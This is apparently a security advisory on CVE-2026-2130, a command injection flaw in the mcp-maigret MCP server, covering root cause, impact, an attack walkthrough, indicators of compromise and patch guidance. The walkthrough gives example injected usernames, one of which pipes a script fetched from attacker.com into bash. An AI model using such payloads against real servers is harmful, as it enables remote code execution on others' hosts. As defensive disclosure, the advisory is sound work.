CVE-2026-2130: 
JavaScript vulnerability analysis and mitigation

CVE-2026-2130 is a command injection vulnerability in BurtTheCoder mcp-maigret (Maigret MCP Server), an OSINT tool that wraps the maigret username-search utility as a Model Context Protocol (MCP) server. The flaw exists in the search_username component within src/index.ts, where unsanitized user-supplied Username arguments are passed to shell commands via Node.js exec(), enabling arbitrary command execution. All versions up to and including 1.0.12 are affected; version 1.0.13 contains the fix (Feedly, GitHub Issue). The vulnerability was disclosed on February 8, 2026, with a patch merged on January 27, 2026. It carries a CVSS v3.1 base score of 9.8 (Critical) (Feedly).

The root cause is improper neutralization of special elements used in a command (CWE-77 / CWE-74): the original code used Node.js exec() to build Docker command strings by concatenating user-supplied input directly into a shell command string (e.g., `docker run --rm -v "${reportsDir}:/app/reports" ${DOCKER_IMAGE} ${args.join(' ')}`), allowing shell metacharacters in the username parameter to break out of the intended argument context and inject arbitrary shell commands (GitHub Commit). The attack is network-reachable because the MCP server exposes its tools over a network interface, and no authentication is required at the tool-invocation layer in default configurations (Feedly). The same pattern also affected the parse_url tool's URL and tag parameters. No public proof-of-concept exploit code has been identified (Feedly).

Successful exploitation allows an attacker to execute arbitrary operating system commands on the host running the mcp-maigret server with the privileges of the Node.js process. This can result in full confidentiality, integrity, and availability compromise of the affected system — including unauthorized data access, file system modification, installation of backdoors, and potential lateral movement to other systems reachable from the host (Feedly, GitHub PR). Because the server runs Docker commands, a compromised host could also expose the Docker socket or mounted volumes to attacker-controlled operations.

No public proof-of-concept exploit code has been published, and there is no evidence of active in-the-wild exploitation as of the time of this report (Feedly). The EPSS score is approximately 0.0125 (1.25%), indicating a low but non-negligible probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported. The low barrier to exploitation (network-accessible, no user interaction required under CVSS v3.1 scoring) means the risk could escalate quickly if a PoC is published.

1. Reconnaissance: Identify instances of mcp-maigret (versions ≤ 1.0.12) exposed over a network, such as MCP servers integrated with Claude Desktop or similar AI assistant platforms. Scan for the MCP server's listening port or identify it through service enumeration.
2. Craft malicious username: Prepare a username argument containing shell metacharacters to break out of the intended command context. For example: testuser; id > /tmp/pwned # or testuser && curl http://attacker.com/shell.sh | bash.
3. Invoke the vulnerable tool: Send a search_username tool call to the MCP server with the crafted username as the argument. In the vulnerable code path, this value is interpolated directly into a shell string passed to exec().
4. Command execution: The shell interprets the injected metacharacters, executing the attacker's payload with the privileges of the Node.js process running mcp-maigret. The attacker can establish a reverse shell, exfiltrate data, or perform further actions on the host (GitHub Commit, GitHub Issue).

• Logs: MCP server logs (stderr) showing Executing command: entries with usernames containing shell metacharacters such as ;, &, |, `, $, (, ), {, }, <, >.
• Process: Unexpected child processes spawned by the Node.js mcp-maigret process (e.g., /bin/sh, /bin/bash, curl, wget, python, nc) visible via ps or process monitoring tools.
• Network: Unusual outbound network connections from the mcp-maigret host to unknown external IP addresses, particularly on non-standard ports (indicative of reverse shell activity).
• File System: Unexpected files created in /tmp or the MAIGRET_REPORTS_DIR directory; new cron jobs, SSH authorized keys, or scripts added by the Node.js process user.
• Docker: Unexpected Docker containers launched with unusual arguments or volume mounts beyond the standard soxoj/maigret:latest image invocations.

Upgrade mcp-maigret to version 1.0.13 or later, which replaces exec() with execFile() (preventing shell interpolation), passes all Docker command arguments as arrays, and adds strict input validation for usernames (alphanumeric, underscore, hyphen, period only; max 100 characters), URLs (valid HTTP/HTTPS, no shell metacharacters), and tags (GitHub Release, GitHub Commit). If immediate patching is not possible, restrict network access to the MCP server to trusted clients only, and consider temporarily disabling the search_username and parse_url tools. Run the server with a least-privilege OS user account to limit the blast radius of any exploitation.

Security commentary in the MCP ecosystem has highlighted CVE-2026-2130 as part of a broader pattern of command injection vulnerabilities in MCP server implementations. Blog posts on dev.to noted that MCP developers repeatedly make the same input-handling mistakes, and that CVSS scores may underrepresent the real-world risk of MCP vulnerabilities given their integration with AI assistant platforms (dev.to, dev.to). The vulnerability was also discussed in the context of MCP attack surface expansion across multiple layers (dev.to).